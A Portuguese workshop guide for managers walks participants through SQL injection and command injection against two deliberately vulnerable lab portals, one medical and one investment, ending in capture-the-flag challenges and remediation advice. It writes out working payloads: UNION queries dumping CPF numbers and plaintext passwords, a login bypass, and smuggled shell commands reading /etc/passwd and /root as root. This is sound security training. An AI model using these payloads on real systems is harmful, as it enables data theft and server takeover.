WORKSHOP PARA LÍDERES

$ ./guia --passo-a-passo

Do conhecimento à ação

Guia do participante

Passo a passo progressivo dos Cenários 1 e 2. Você começa pelo uso normal do sistema e, aos poucos, descobre a falha — até o impacto total e a captura da flag. Siga na ordem e tente prever o próximo passo antes de executá-lo.

31 OUT 2026 | Cenário 1 · SQL Injection | Cenário 2 · Command Injection

Ambiente de treinamento, deliberadamente vulnerável. Use estas técnicas somente no laboratório isolado do workshop. Aplicá-las em qualquer sistema real, sem autorização, é crime (Lei 12.737/2012).

// CENÁRIO 01

SQL Injection

MedClinic · Portal do Paciente Acesso: **https://<IP>:3000/** Login: **user / user123**

Você está logado como um **paciente comum** e só deveria ver os seus próprios exames. Vamos usar o campo de busca normalmente e, aos poucos, descobrir que dá para enganá-lo — até vazar a base inteira e capturar a flag.

> **DICA MYSQL** Usamos # como comentário (não --), porque o -- exige um espaço depois e formulários web costumam apagar espaços no fim.

1 Usar o portal normalmente

Faça login com user / user123. Repare na tela: seus dados, convênio, consultas e a lista de exames da sua conta. No campo **"Buscar nos meus exames"**, digite:

```
colesterol
```

O que acontece: aparecem só os exames de colesterol da sua conta. Na coluna *Paciente* está sempre o seu nome.

> **SENSAÇÃO** "O sistema só me mostra o que é meu."

2 Buscar outra coisa (confirmar o normal)

Busque outro termo, por exemplo:

```
hemograma
```

O que acontece: de novo, só os seus exames. O filtro "parece" seguro.

3 Testar um caractere "estranho" (o primeiro sinal)

A busca monta uma consulta ao banco de dados. Vamos ver se o que digitamos interfere nessa consulta. Digite apenas uma aspa simples:

```
'
```

O que acontece: a tela mostra um erro (erro de sintaxe no banco).

> **A DESCOBERTA** Se uma aspa quebra o sistema, é porque o que eu digito está sendo colado direto na consulta do banco — e não tratado como texto simples. É a porta de entrada da falha.

4 “Fechar” a aspa e comentar o resto

Se uma aspa sozinha quebra, vamos fechá-la e anular o resto da consulta com um comentário. Digite:

```
' #
```

O que acontece: o erro some e a busca volta a “funcionar”. Confirmamos que controlamos a consulta — abrimos/fechamos a aspa e comentamos o que vem depois.

5 Condição “sempre verdadeira” (o vazamento)

Em vez de filtrar pelos meus exames, vamos adicionar uma condição sempre verdadeira:

```
' OR 1=1 #
```

O que acontece: a lista explode — exames de centenas de pacientes, nomes reais, categorias e resultados. O contador no topo salta para milhares de exames e ~1000 pacientes.

> **IMPACTO** Um paciente comum, logado na própria conta, acabou de ler o prontuário de todos os outros.

Por quê: a busca virou algo como `... WHERE paciente = 1 AND exame LIKE '%...%' OR 1=1` → como `OR 1=1` é sempre verdadeiro (e o `AND` tem precedência sobre o `OR`), o filtro de paciente deixou de importar.

6 Descobrir o número de colunas (preparar o UNION)

Para puxar dados de outras tabelas usamos `UNION` — mas ele exige saber quantas colunas a consulta tem. Descobrimos por tentativa, com `ORDER BY`:

```
' ORDER BY 5 #     → funciona
' ORDER BY 6 #     → dá erro
```

> **LEITURA** Erro no 6 e sucesso no 5 ⇒ a consulta tem **5 colunas**. O UNION precisa ter exatamente 5 colunas também.

7 Desafio: capture a flag

Com 5 colunas e o `UNION` dominado, há uma tabela escondida no banco guardando um segredo. Use a mesma técnica dos próximos passos para alcançá-la e leia o que há dentro.

> **DICA** O `1=2` zera os exames reais e deixa só o que o seu `UNION` trouxer. A flag começa com `FLAG{`. Descubra a tabela e submeta na plataforma.

8 Vazar dados pessoais / CPF (tabela patients)

A busca mostra 5 colunas (*Paciente | Data | Categoria | Exame | Resultado*). No UNION você escolhe o que cai em cada coluna — e pode ler outra tabela:

```
' AND 1=2 UNION SELECT name, birthdate, cpf, email, phone FROM patients #
```

O que acontece: nome, nascimento, CPF, e-mail e telefone de todos os ~1000 pacientes.

Versão completa (junta endereço e convênio no último campo):

```
' AND 1=2 UNION SELECT name, birthdate, cpf, email, CONCAT(phone,' · ',address,' · ',insurance,' ',insurance_id) FROM patients #
```

9 Roubar credenciais (tabela users)

```
' AND 1=2 UNION SELECT username, '', password, role, fullname FROM users #
```

O que acontece: vazam as senhas em texto puro:

`user / user123` · `admin / S3nh4Admin!2024`

> **ESCALADA** De "ver exames" para assumir a conta do admin.

10 Bônus — Bypass de login

Na tela de login, no campo **usuário**, digite o seguinte (com qualquer senha):

```
admin'#
```

O que acontece: você entra como admin. A consulta vira `... WHERE username = 'admin'#' AND password = '...'` → o `#` comenta a checagem de senha.

Recapitulando o Cenário 1

Passo	O que digitou	O que ensinou
1–2	`colesterol`, `hemograma`	uso normal: "só vejo o meu"
3	`'`	o input chega na consulta (erro)
4	`' #`	dá para controlar a consulta
5	`' OR 1=1 #`	vazamento de todos os pacientes
6	`' ORDER BY 5/6 #`	descobrir o nº de colunas (5)
7	desafio da flag	achar a tabela secreta (por conta própria)
8	`UNION ... FROM patients`	vazar CPF / dados pessoais
9	`UNION ... FROM users`	roubar credenciais (texto puro)
10	`admin'#` (login)	bypass de autenticação

> **PARA O GESTOR** Um campo de busca que “só mostra os seus exames” entregou o prontuário de 1000 pacientes — nomes, CPF, diagnósticos, sorologias — e até as senhas. **Correção:** consultas parametrizadas (prepared statements) + autorização no servidor (nunca confiar que o filtro na query protege o dado) + senhas com hash forte.

// CENÁRIO 02

Command Injection

Meridian Capital · Portal do Investidor Acesso: **https://<IP>:3001/**

Login: **investidor / Invest@2024**

O portal tem um botão **“Backup da carteira”** que exporta seus dados para um destino que você digita. Vamos usar normalmente e descobrir que o campo “destino” executa comandos no servidor — como root.

> **SEPARADORES** Mostram a saída do comando: `;` `|` `&&` `||`. (`$(...)` e crases também executam, mas a saída vira argumento e não aparece — para ler arquivos use `;`, `|` ou `&&`.)

1 Usar o backup normalmente

Faça login com investidor / Invest@2024 e veja a carteira (patrimônio, posições, alocação). No card **“Backup da carteira”**, deixe o destino padrão:

```
s3://meridian-backups/carteira
```

Clique em **Exportar carteira**. Aparece a saída de um comando:

```
$ tar -czvf /tmp/carteira_backup.tar.gz -C /usr/src/app/data . 2>&1; echo Backup gerado. Exportando para destino s3://meridian-backups/carteira
./
./carteira.json
Backup gerado. Exportando para destino s3://meridian-backups/carteira
```

> **OBSERVE** O destino que você digitou aparece colado no comando. Guarde essa observação.

2 Trocar o destino (ele entra no comando?)

Troque o destino por qualquer texto:

```
meu-backup-teste
```

O que acontece: o texto digitado aparece de novo dentro do comando. O campo não é só um rótulo — ele vira parte do comando que o servidor executa.

> **HIPÓTESE** Se o que eu digito entra num comando do sistema, será que dá para anexar um segundo comando?

3 Anexar um comando + confirmar o privilégio

Em Linux, o `;` separa comandos. No campo destino, digite:

```
x; id
```

O que acontece: além da mensagem normal, aparece a saída do `id`:

```
uid=0(root) gid=0(root) groups=0(root)
```

> **DOIS CHOQUES** (1) o campo "destino" executou um comando — injeção confirmada; (2) `uid=0(root)` → o servidor roda como root. Controle total.

4 Confirmar com outros separadores

Mostre que não é sorte (um de cada vez):

```
x | whoami
x && id
```

O que acontece: todos retornam a saída → a brecha é geral.

5 Desafio: capture a flag (como root)

Você já é root. Em algum lugar que só o root consegue ler existe um arquivo com a flag. Use o que aprendeu no passo anterior para localizá-lo e lê-lo.

> **DICA** Arquivos restritos ficam em áreas que só o superusuário acessa. A flag começa com `FLAG{`. Submeta na plataforma.

6 Mostrar o poder do RCE (impacto)

Já que executamos comandos como root, dá para ler qualquer arquivo e inspecionar o servidor (um de cada vez):

```
x; ls -la /root
x; cat /etc/passwd
x; uname -a; hostname; ps aux
x; cat /usr/src/app/data/carteira.json
```

> **IMPACTO** A função de "backup da carteira" virou controle total do servidor: o atacante lê qualquer arquivo (inclusive a base de carteiras dos clientes), cria usuários, instala backdoor e pivota para a rede interna.

Recapitulando o Cenário 2

Passo	O que digitou	O que ensinou
1	`s3://meridian-backups/carteira`	uso normal; destino aparece no comando
2	`meu-backup-teste`	o destino entra mesmo no comando
3	`x; id`	injeção confirmada + rodando como root

4	`x | whoami`, `x && id`	a brecha é geral
5	desafio da flag	achar o arquivo restrito (por conta própria)
6	`x; ls -la /root`, `x; cat /etc/passwd`	leitura de arquivos / RCE total

> **PARA O GESTOR** Uma funcionalidade legítima (“exportar backup”) entregou execução de comandos como root. **Correção:** nunca concatenar entrada do usuário em comandos de shell; usar APIs que separam comando e argumentos (sem shell); validar a entrada com allow-list; e rodar o serviço com privilégio mínimo (nunca como root).